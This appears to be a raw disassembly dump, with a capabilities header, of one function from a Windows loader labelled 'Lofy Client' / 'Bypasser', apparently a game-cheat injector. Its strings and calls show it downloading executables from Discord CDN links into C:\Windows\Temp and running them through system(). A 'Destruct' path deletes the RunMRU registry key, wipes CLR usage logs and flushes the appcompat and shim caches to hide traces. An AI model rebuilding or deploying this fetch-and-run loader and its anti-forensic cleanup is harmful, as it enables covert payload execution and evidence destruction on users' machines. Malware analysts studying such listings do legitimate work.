Function at 0x1400063f0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Delete registry key
Execute command
Get session user name
Query environment variable
Self delete

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x5e0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x140070030]
xor rax, rsp
mov qword [rsp + 0x5a8], rax
cmp byte [0x140070088], 0
je 0x140008139
xorps xmm8, xmm8
movss xmm0, dword [0x1400702d0]
movss xmm1, dword [0x1400702d4]
mov rcx, qword [0x140070bc0]
or dword [rcx + 0x1dc0], 1
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm8
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x1400702d8]
movss xmm1, dword [0x1400702dc]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or dword [rcx + 0x1dc0], 0x42
mov dword [rcx + 0x1e20], 0x3f800000
mov ecx, 0x1c
call fcn.140053304
mov dword [rax], 0xee810a00
mov dword [rax + 4], 0xee100a10
mov dword [rax + 8], 0xe8bd8c10
mov dword [rax + 0xc], 0
mov dword [rax + 0x10], 0xe92d48f0
mov dword [rax + 0x14], 0xe28db010
mov dword [rax + 0x18], 0xed2d8b02
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__msize]
mov ecx, 0x1c
call fcn.140053304
mov dword [rax], 0xee810a00
mov dword [rax + 4], 0xee100a10
mov dword [rax + 8], 0xe8bd8c10
mov dword [rax + 0xc], 0x447a0000
mov dword [rax + 0x10], 0xe92d48f0
mov dword [rax + 0x14], 0xe28db010
mov dword [rax + 0x18], 0xed2d8b02
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__msize]
mov r8d, 0x2b
lea rdx, [0x140070088]
lea rcx, str.Loader_base
call fcn.140017740
mov r8, qword [0x140070bc0]
movsd xmm0, qword [r8 + 0x120]
movsd qword [rsp + 0x60], xmm0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
mov r10, qword [rax + 0x2f8]
mov qword [rsp + 0x150], r10
mov r8, rax
movss xmm6, dword [rax + 0x50]
movss xmm7, dword [rax + 0x54]
movaps xmm0, xmmword [0x140065b20]
movups xmmword [rsp + 0x240], xmm0
lea rcx, [rsp + 0x240]
call fcn.14000c8a0
movaps xmm1, xmm7
addss xmm1, dword [0x140065834]
movaps xmm0, xmm6
addss xmm0, dword [r8 + 0x58]
movss dword [rsp + 0x218], xmm0
movss dword [rsp + 0x21c], xmm1
movss dword [rsp + 0x50], xmm6
movss dword [rsp + 0x54], xmm1
movss xmm0, dword [0x1400657c0]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rsp + 0x218]
lea rdx, [rsp + 0x50]
mov rcx, r10
call fcn.14003c9d0
mov rcx, qword [0x140070bc0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
movss xmm3, dword [rax + 0x50]
subss xmm3, dword [rax + 0x9c]
addss xmm1, dword [0x140065810]
addss xmm3, dword [0x14006585c]
movss dword [rax + 0x118], xmm3
movss dword [rax + 0x11c], xmm1
movss xmm2, dword [rax + 0x134]
maxss xmm2, xmm1
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm3
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm2
lea rcx, str.Lofy_Client
call fcn.1400495a0
movss xmm1, dword [0x1400658b0]
xorps xmm0, xmm0
call fcn.14001c7c0
movaps xmm0, xmmword [0x140065ae0]
movups xmmword [rsp + 0x240], xmm0
lea rdx, str.Bypasser
lea rcx, [rsp + 0x240]
call fcn.140049620
mov rax, qword [0x140070bc0]
mov rcx, qword [rax + 0x1d18]
addss xmm7, dword [rcx + 0x170]
addss xmm6, dword [rcx + 0x16c]
movss dword [rsp + 0x50], xmm6
movss dword [rsp + 0x54], xmm7
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x150]
call fcn.140005e70
mov rbx, qword [0x140070bc0]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x140065854]
addss xmm2, dword [0x140065844]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movss xmm0, dword [0x140065874]
movss dword [rsp + 0x50], xmm0
movss xmm1, dword [0x140065868]
movss dword [rsp + 0x54], xmm1
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rdi, qword [rbx + 0x1d18]
mov eax, dword [rdi + 0x108]
test eax, eax
jg 0x1400067fc
mov r8d, 0x6d1
lea rdx, str.C:Users_sdds_raabDownloadsImGuiImGui_Loader_Base_masterImGui_Loader_Base_masterimguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [rdi + 0x108]
mov rbx, qword [0x140070bc0]
movsxd rcx, eax
mov rax, qword [rdi + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
xor edx, edx
lea rcx, str.First
call fcn.14000c320
cmp dword [rbx + 0x1d6c], eax
jne 0x140006827
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x140006836
mov byte [rbx + 0x1dac], 1
lea r8, [rsp + 0x50]
mov edx, eax
call fcn.140014420
mov rbx, qword [0x140070bc0]
lea rcx, [rbx + 0x1e80]
movss xmm1, dword [rbx + 0x1670]
movss xmm0, dword [rbx + 0x1674]
mov dword [rsp + 0x150], 0xa
movss dword [rsp + 0x154], xmm1
movss dword [rsp + 0x158], xmm0
lea rdx, [rsp + 0x150]
call fcn.140030f50
mov dword [rbx + 0x1670], 0x40a00000
mov dword [rbx + 0x1674], 0x41200000
call fcn.14004cab0
call fcn.14000cee0
mov dword [rsp + 0x50], 0x435c0000
mov dword [rsp + 0x54], 0x41f00000
lea rdx, [rsp + 0x50]
lea rcx, str.Download
call fcn.140049e80
mov byte [0x140070bb1], al
mov dword [rsp + 0x50], 0x435c0000
mov dword [rsp + 0x54], 0x41f00000
lea rdx, [rsp + 0x50]
lea rcx, str.Destruct
call fcn.140049e80
mov byte [0x140070bb0], al
call fcn.140014610
mov rcx, qword [0x140070bc0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x140065870]
addss xmm2, dword [0x140065820]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
lea rcx, [0x1400700b0]
cmp qword [0x1400700c8], 0x10
cmovae rcx, qword [0x1400700b0]
call fcn.1400495a0
call fcn.14001a8a0
cmp byte [0x140070bb1], 0
je 0x140006f74
lea rdx, str.C:WindowsTempobs_service.exe
lea rcx, str.https:__cdn.discordapp.com_attachments_1118687940101550173_1143822042374885466_createpartition.exe
call fcn.140004690
xor ebx, ebx
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], 0xf
lea r8d, [rbx + 0x2c]
lea rdx, str.start_C:windows_tempobs_service.exe_create
lea rcx, [rsp + 0x198]
call fcn.140003d00
lea rcx, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0x10
cmovae rcx, qword [rsp + 0x198]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0x10
jb 0x140006a56
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x140006a74
imul rax, rax, 0x64
jmp 0x140006a8f
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7ffffffdabf41bff
movabs rdi, 0x7fffffffffffffff
cmp rax, rcx
jge 0x140006abc
movabs rcx, 0x2540be400
add rcx, rax
mov qword [rsp + 0x50], rcx
jmp 0x140006ac1
mov qword [rsp + 0x50], rdi
lea rcx, [rsp + 0x50]
call fcn.14000a4f0
nop
mov qword [rsp + 0x1d8], rbx
mov qword [rsp + 0x1e8], rbx
mov qword [rsp + 0x1f0], 0xf
mov byte [rsp + 0x1d8], 0
mov r8d, 0x29
lea rdx, str.C:UsersAdministratorAppDataLocalTemp
lea rcx, [rsp + 0x1d8]
call fcn.140003d00
nop
mov rax, rdi
mov rdx, qword [rsp + 0x1e8]
sub rax, rdx
cmp rax, 5
jb 0x14000817a
lea r9, [rsp + 0x1d8]
cmp qword [rsp + 0x1f0], 0x10
setae byte [rsp + 0x58]
mov r15, qword [rsp + 0x1d8]
cmovae r9, r15
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x1d0], rbx
lea r13, [rdx + 5]
mov qword [rsp + 0x150], r13
mov r14d, 0xf
lea rsi, [rsp + 0x1b8]
cmp r13, r14
jbe 0x140006c38
mov r14, r13
or r14, 0xf
cmp r14, rdi
jbe 0x140006b96
mov r14, rdi
jmp 0x140006bab
mov r13d, 0x16
cmp r14, r13
cmovb r14, r13
mov r13, qword [rsp + 0x150]
mov rcx, r14
add rcx, 1
mov r12, 0xffffffffffffffff
cmovb rcx, r12
cmp rcx, 0x1000
jb 0x140006c07
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140008180
mov rcx, rax
call fcn.140052fa0
test rax, rax
je 0x140006ce9
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rdx, qword [rsp + 0x1e8]
mov r9, qword [rsp + 0x50]
mov qword [rsp + 0x1b8], rsi
jmp 0x140006c3f
test rcx, rcx
je 0x140006c2b
call fcn.140052fa0
mov rsi, rax
mov rdx, qword [rsp + 0x1e8]
mov r9, qword [rsp + 0x50]
mov qword [rsp + 0x1b8], rax
jmp 0x140006c3f
mov rsi, rbx
mov qword [rsp + 0x1b8], rbx
jmp 0x140006c3f
mov r12, 0xffffffffffffffff
mov qword [rsp + 0x1c8], r13
mov qword [rsp + 0x1d0], r14
mov eax, dword [str.TEMP]
mov dword [rsi], eax
movzx eax, byte [0x140056630]
mov byte [rsi + 4], al
lea rcx, [rsi + 5]
mov r8, rdx
mov rdx, r9
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r13], 0
lea rcx, [rsp + 0x1b8]
cmp qword [rsp + 0x1d0], 0x10
cmovae rcx, qword [rsp + 0x1b8]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__putenv]
mov r8d, 0x31
lea rdx, str.Sucesso_ao_definir_temp_como_variavel_de_ambiente
lea rcx, [0x1400700b0]
call fcn.140003d00
nop
mov rdx, qword [rsp + 0x1d0]
cmp rdx, 0x10
jb 0x140006cf5
inc rdx
mov rcx, qword [rsp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006cf0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006cf0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x1d0], 0xf
mov byte [rsp + 0x1b8], 0
cmp byte [rsp + 0x58], 0
je 0x140006d54
mov rdx, qword [rsp + 0x1f0]
inc rdx
mov rax, r15
cmp rdx, 0x1000
jb 0x140006d4b
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140052d00
nop
jmp 0x140006d66
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x230], rbx
mov qword [rsp + 0x238], 7
mov word [rsp + 0x220], bx
mov r8d, 6
lea rdx, [0x1400566a0]
lea rcx, [rsp + 0x220]
call fcn.1400089f0
nop
lea rcx, [rsp + 0x220]
call fcn.140004910
mov r8d, 3
lea rdx, [0x1400566b0]
lea rcx, [rsp + 0x220]
call fcn.1400089f0
lea rcx, [rsp + 0x220]
call fcn.140004910
mov r8d, 9
lea rdx, [0x1400566b8]
lea rcx, [rsp + 0x220]
call fcn.1400089f0
lea rcx, [rsp + 0x220]
call fcn.140004910
mov r8d, 3
lea rdx, [0x1400566d0]
lea rcx, [rsp + 0x220]
call fcn.1400089f0
lea rcx, [rsp + 0x220]
call fcn.140004910
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], 7
mov word [rsp + 0x178], bx
mov r8d, 3
lea rdx, [0x1400566d8]
lea rcx, [rsp + 0x178]
call fcn.1400089f0
nop
lea rcx, [rsp + 0x178]
call fcn.1400044c0
test al, al
je 0x140006ea6
lea rdx, [0x1400566e0]
lea rcx, str.https:__cdn.discordapp.com_attachments_1140805196927213579_1142262869346496642_launcher.exe
call fcn.140004690
lea rcx, str.H:_virtual.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, 0xf
lea rdx, str.Gosth_Injected_
jmp 0x140006eb3
mov r8d, 0x17
lea rdx, str.O_diretorio_nao_existe.
lea rcx, [0x1400700b0]
call fcn.140003d00
nop
mov rdx, qword [rsp + 0x190]
cmp rdx, 8
jb 0x140006f0b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], 7
mov word [rsp + 0x178], bx
mov rdx, qword [rsp + 0x238]
cmp rdx, 8
jb 0x140006f84
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
jmp 0x140006f84
xor ebx, ebx
movabs rdi, 0x7fffffffffffffff
lea r12, [rbx - 1]
cmp byte [0x140070bb0], 0
je 0x140008139
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeA]
test eax, eax
je 0x140006fc2
mov r8d, 0x36
lea rdx, str.Falha_ao_deletar_a_chave_de_registro._C
lea rcx, [0x1400700b0]
call fcn.140003d00
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x150]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x14000701c
mov r8d, 0x23
lea rdx, str.Falha_ao_criar_a_chave_de_registro.
lea rcx, [0x1400700b0]
call fcn.140003d00
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x218], 0x101
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0x490]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x1400073f3
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], 0xf
mov byte [rsp + 0x198], 0
lea rax, [rsp + 0x490]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140007082
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x198]
call fcn.140003d00
nop
lea r8, [rsp + 0x198]
lea rcx, [rsp + 0x1f8]
call fcn.140009280
nop
mov r8d, 0x2e
lea rdx, str.AppDataLocalMicrosoftCLR_v4.0_32UsageLogs
mov rcx, rax
call fcn.140008b70
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x178], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x188], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x178]
call fcn.140004a30
nop
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x14000715f
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000715a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000715a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], 0xf
mov byte [rsp + 0x178], 0
mov rdx, qword [rsp + 0x210]
cmp rdx, 0x10
jb 0x1400071c1
inc rdx
mov rcx, qword [rsp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400071bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400071bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
mov qword [rsp + 0x208], rbx
mov qword [rsp + 0x210], 0xf
mov byte [rsp + 0x1f8], 0
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0x10
jb 0x140007223
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000721e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000721e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], 0xf
mov byte [rsp + 0x198], 0
lea rax, [rsp + 0x490]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140007252
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x198]
call fcn.140003d00
nop
lea r8, [rsp + 0x198]
lea rcx, [rsp + 0x1f8]
call fcn.140009280
nop
mov r8d, 0x2b
lea rdx, str.AppDataLocalMicrosoftCLR_v4.0UsageLogs
mov rcx, rax
call fcn.140008b70
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x178], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x188], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x178]
call fcn.140004a30
nop
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x14000732f
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000732a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000732a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], 0xf
mov byte [rsp + 0x178], 0
mov rdx, qword [rsp + 0x210]
cmp rdx, 0x10
jb 0x140007391
inc rdx
mov rcx, qword [rsp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000738c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000738c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
mov qword [rsp + 0x208], rbx
mov qword [rsp + 0x210], 0xf
mov byte [rsp + 0x1f8], 0
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0x10
jb 0x1400073f3
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400073ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400073ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
lea rdx, str.C:WindowsTempobs_service.exe
lea rcx, str.https:__cdn.discordapp.com_attachments_1118687940101550173_1143822042374885466_createpartition.exe
call fcn.140004690
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], 0xf
mov r8d, 0x2c
lea rdx, str.start_C:windows_tempobs_service.exe_delete
lea rcx, [rsp + 0x198]
call fcn.140003d00
lea rcx, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0x10
cmovae rcx, qword [rsp + 0x198]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0x10
jb 0x1400074a2
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000749d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000749d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
call fcn.140004c40
call fcn.140004f40
mov qword [rsp + 0x1d8], rbx
mov qword [rsp + 0x1e8], rbx
mov qword [rsp + 0x1f0], 0xf
mov byte [rsp + 0x1d8], 0
mov r8d, 0xc
lea rdx, str.rundll32.exe
lea rcx, [rsp + 0x1d8]
call fcn.140003d00
nop
mov qword [rsp + 0x1f8], rbx
mov qword [rsp + 0x208], rbx
mov qword [rsp + 0x210], 0xf
mov byte [rsp + 0x1f8], 0
mov r8d, 0x24
lea rdx, str.kernel32.dll_BaseFlushAppcompatCache
lea rcx, [rsp + 0x1f8]
call fcn.140003d00
nop
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], 0xf
mov byte [rsp + 0x198], 0
mov r8d, 0x1a
lea rdx, str.apphelp.dll_ShimFlushCache
lea rcx, [rsp + 0x198]
call fcn.140003d00
nop
mov dword [rsp + 0x420], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x428], xmm0
movups xmmword [rsp + 0x438], xmm0
movups xmmword [rsp + 0x448], xmm0
movups xmmword [rsp + 0x458], xmm0
movups xmmword [rsp + 0x468], xmm0
movups xmmword [rsp + 0x478], xmm0
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], rbx
lea r14, [rsp + 0x1f8]
cmp qword [rsp + 0x210], 0x10
cmovae r14, qword [rsp + 0x1f8]
mov rsi, qword [rsp + 0x208]
cmp rsi, 0x10
jae 0x140007603
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x178], xmm0
mov r15d, 0xf
mov r13, qword [rsp + 0x178]
jmp 0x14000767d
mov r15, rsi
or r15, 0xf
cmp r15, rdi
cmova r15, rdi
mov rcx, r15
add rcx, 1
cmovb rcx, r12
cmp rcx, 0x1000
jb 0x140007654
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140008186
mov rcx, rax
call fcn.140052fa0
test rax, rax
je 0x14000764d
lea r13, [rax + 0x27]
and r13, 0xffffffffffffffe0
mov qword [r13 - 8], rax
jmp 0x140007666
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140007663
call fcn.140052fa0
mov r13, rax
jmp 0x140007666
mov r13, rbx
mov qword [rsp + 0x178], r13
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x190], r15
mov qword [rsp + 0x188], rsi
mov rax, rdi
mov rdx, qword [rsp + 0x1e8]
sub rax, rdx
cmp rax, 1
jb 0x14000818c
lea r9, [rsp + 0x1d8]
cmp qword [rsp + 0x1f0], 0x10
cmovae r9, qword [rsp + 0x1d8]
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x1d0], rbx
lea r8, [rdx + 1]
mov qword [rsp + 0x50], r8
mov esi, 0xf
lea r14, [rsp + 0x1b8]
cmp r8, rsi
jbe 0x14000779a
mov rsi, r8
or rsi, 0xf
cmp rsi, rdi
jbe 0x14000770c
mov rsi, rdi
jmp 0x140007719
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
mov rcx, rsi
add rcx, 1
cmovb rcx, r12
cmp rcx, 0x1000
jb 0x14000776e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140008192
mov rcx, rax
call fcn.140052fa0
test rax, rax
je 0x140007767
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x60]
jmp 0x140007792
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000778f
call fcn.140052fa0
mov r14, rax
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x60]
jmp 0x140007792
mov r14, rbx
mov qword [rsp + 0x1b8], r14
mov qword [rsp + 0x1c8], r8
mov qword [rsp + 0x1d0], rsi
mov r8, rdx
mov rdx, r9
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400568b4]
mov rcx, qword [rsp + 0x1e8]
mov byte [r14 + rcx], al
mov byte [r14 + rcx + 1], 0
lea rdx, [rsp + 0x178]
cmp r15, 0x10
cmovae rdx, r13
mov r8, qword [rsp + 0x208]
lea rcx, [rsp + 0x1b8]
call fcn.140008b70
mov qword [rsp + 0x270], rbx
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x280], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x1d0]
cmp rdx, 0x10
jb 0x14000787a
inc rdx
mov rcx, qword [rsp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007875
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007875
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052d00
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x1d0], 0xf
mov byte [rsp + 0x1b8], 0
lea rdx, [rsp + 0x270]
cmp qword [rsp + 0x288], 0x10
cmovae rdx, qword [rsp + 0x270]
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
